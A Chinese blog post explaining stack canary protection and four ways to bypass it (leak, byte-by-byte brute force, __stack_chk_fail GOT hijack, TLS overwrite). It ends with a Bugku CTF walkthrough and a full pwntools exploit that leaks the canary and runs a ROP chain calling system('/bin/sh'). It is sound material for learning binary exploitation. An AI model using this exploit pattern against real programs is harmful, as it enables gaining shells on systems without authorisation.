美文网首页
栈溢出--canary简单绕过

栈溢出--canary简单绕过

作者: doinb1517 | 来源:发表于2022-01-04 13:01 被阅读0次

canary简介

Canary 的意思是金丝雀,来源于英国矿井工人用来探查井下气体是否有毒的金丝雀笼子。工人们每次下井都会带上一只金丝雀。如果井下的气体有毒,金丝雀由于对毒性敏感就会停止鸣叫甚至死亡,从而使工人们得到预警。canary不管是实现还是设计思想都比较简单高效, 就是插入一个值, 在stack overflow发生的 高危区域的尾部, 当函数返回之时检测canary的值是否经过了改变, 以此来判断stack/buffer overflow是否发生.

canary实现

开启 Canary 保护的 stack 结构大概如下:

High
        Address |                 |
                +-----------------+
                | args            |
                +-----------------+
                | return address  |
                +-----------------+
        rbp =>  | old ebp         |
                +-----------------+
      rbp-8 =>  | canary value    |
                +-----------------+
                | local variables |
        Low     |                 |
        Address

当程序启用 Canary 编译后,在函数序言部分会取 fs 寄存器 0x28 处的值,存放在栈中 ebp-0x8 的位置。 这个操作即为向栈中插入 Canary 值,代码如下:

canary1.png

在函数返回之前,会将该值取出,并与 fs:0x28 的值进行异或。如果异或的结果为 0,说明 Canary 未被修改,函数会正常返回,这个操作即为检测是否发生栈溢出。如果 Canary 已经被非法修改,此时程序流程会走到 __stack_chk_fail

canary2.png

Canary绕过

泄露栈中的 Canary

Canary 设计为以字节 \x00 结尾,本意是为了保证 Canary 可以截断字符串。 泄露栈中的 Canary 的思路是覆盖 Canary 的低字节,来打印出剩余的 Canary 部分。 这种利用方式需要存在合适的输出函数,并且可能需要第一溢出泄露 Canary,之后再次溢出控制执行流程。

one-by-one 爆破 Canary

对于 Canary,虽然每次进程重启后的 Canary 不同 (相比 GS,GS 重启后是相同的),但是同一个进程中的不同线程的 Canary 是相同的, 并且 通过 fork 函数创建的子进程的 Canary 也是相同的,因为 fork 函数会直接拷贝父进程的内存。我们可以利用这样的特点,彻底逐个字节将 Canary 爆破出来。

劫持__stack_chk_fail 函数

已知 Canary 失败的处理逻辑会进入到 __stack_chk_failed 函数,__stack_chk_failed 函数是一个普通的延迟绑定函数,可以通过修改 GOT 表劫持这个函数。

覆盖 TLS 中储存的 Canary 值

已知 Canary 储存在 TLS 中,在函数返回前会使用这个值进行对比。当溢出尺寸较大时,可以同时覆盖栈上储存的 Canary 和 TLS 储存的 Canary 实现绕过。

题目

泄漏栈中的canary例题

Bugku-Canary: https://ctf.bugku.com/challenges/detail/id/184.html

使用checksec检查,结果如下,开启了NX和Cannary。

checksec.png

运行


run.png

使用IDA Pro打开,查看导入表,导出表,string窗口,导入导出表没有需要重点关注的地方。strings有/bin/sh命令行有关的字符串,没有交叉引用,还找到了system函数,可以利用这两部分构造ROP链。

strings.png

F5查看,这里有两个read函数,这里存在栈溢出,可以使用第一个read暴露canary,第二个read构造ROP链获取shell。

code.png

1、首先暴露canary,buf到canary的距离是(0x240 - 0x8),高八字节是canary

2、暴露出canary后,继续八字节覆盖ebp

3、查找合适的gadget,构造ROP链。这里因为是64位的系统,传参方式和32位系统不同;32位系统的程序将参数从右到左压入栈中传参,64位系统前六个参数通过rdi,rsi,rdx,rcx,r8,r9传递,从第七个参数开始从右到左压栈传参,只需要找到pop rdi指令,esp就会加8,就可以将原esp处的数据赋值给rdi,完成了参数压栈,再调用system()函数,就可以构造system("/bash/sh")。

关于 gadget的介绍https://xz.aliyun.com/t/3711,相关工具Ropgadget(https://github.com/JonathanSalwan/ROPgadget

使用以下命令查找ROPgatget

 ROPgadget --binary pwn4_canary --only "pop|rdi|ret"
ropgadget.png

完整WP代码如下:

from pwn import *

context.log_level = "debug"
r = process("./pwn4")

rdi = 0x400963
bin_sh = 0x601068
system = 0x400660

payload1 = b'a' * (0x240 - 0x8)
r.sendlineafter("Please leave your name(Within 36 Length):", payload1)
r.recvline()

canary = r.recv(7).rjust(8, b'\x00')
print(canary)

payload2 = b'a' * (0x210 - 0x8) + canary + b'a' * 8 + p64(rdi) + p64(bin_sh) + p64(system)
r.sendlineafter("Please leave a message(Within 0x200 Length):", payload2)
r.interactive()

相关文章

  • 栈溢出--canary简单绕过

    canary简介 Canary 的意思是金丝雀,来源于英国矿井工人用来探查井下气体是否有毒的金丝雀笼子。工人们每次...

  • Canary机制及绕过策略-格式化字符串漏洞泄露Canary

    Canary主要用于防护栈溢出攻击。我们知道,在32位系统上,对于栈溢出漏洞,攻击者通常是通过溢出栈缓冲区,覆盖栈...

  • buuctf

    level2: 简单的栈溢出,覆盖返回地址 ez_pz_hackover_2016 泄露栈地址,ida分析绕过,r...

  • canary骚操作一览

    canary是栈溢出的防护机制,一般是位于ebp的上方,用于检测栈帧是否有溢出状态,用图形表示: 因为一个栈帧往往...

  • pwnable.kr passcode

    思路 首先查看保护,发现看开启了nx保护和canary,代表不可以简单的栈溢出checksec.png 从main...

  • 网鼎杯(1)-guess

    明显的栈溢出漏洞,但是开了canary保护但是flag被读取到栈上,所以可以用SSP(Stack Smashes ...

  • 攻防世界 pwn1 wp (厦门邀请赛)

    0x01 checksec idaread处存在栈溢出 0x02 思路 1.利用print函数泄露canary2....

  • Canary绕过之__stack_chk_fail劫持

    介绍 利用的是fortify的报错泄露信息,在栈溢出的时候,数组越界写入,导致 canary值被修改。在函数退出时...

  • 缓冲区溢出提纲

    缓冲区溢出简单的来讲分为两种 栈溢出 堆溢出 那么什么是栈什么是堆呢 在这里简单谈一下对于堆和栈的理解 : 栈: ...

  • *CTF-pwn部分题解

    Quicksort 简单的漏洞点,gets(&s)溢出。程序开了nx与canary。 图中有v0 = ptr + ...

网友评论

      本文标题:栈溢出--canary简单绕过

      本文链接:https://www.haomeiwen.com/subject/iiuqcrtx.html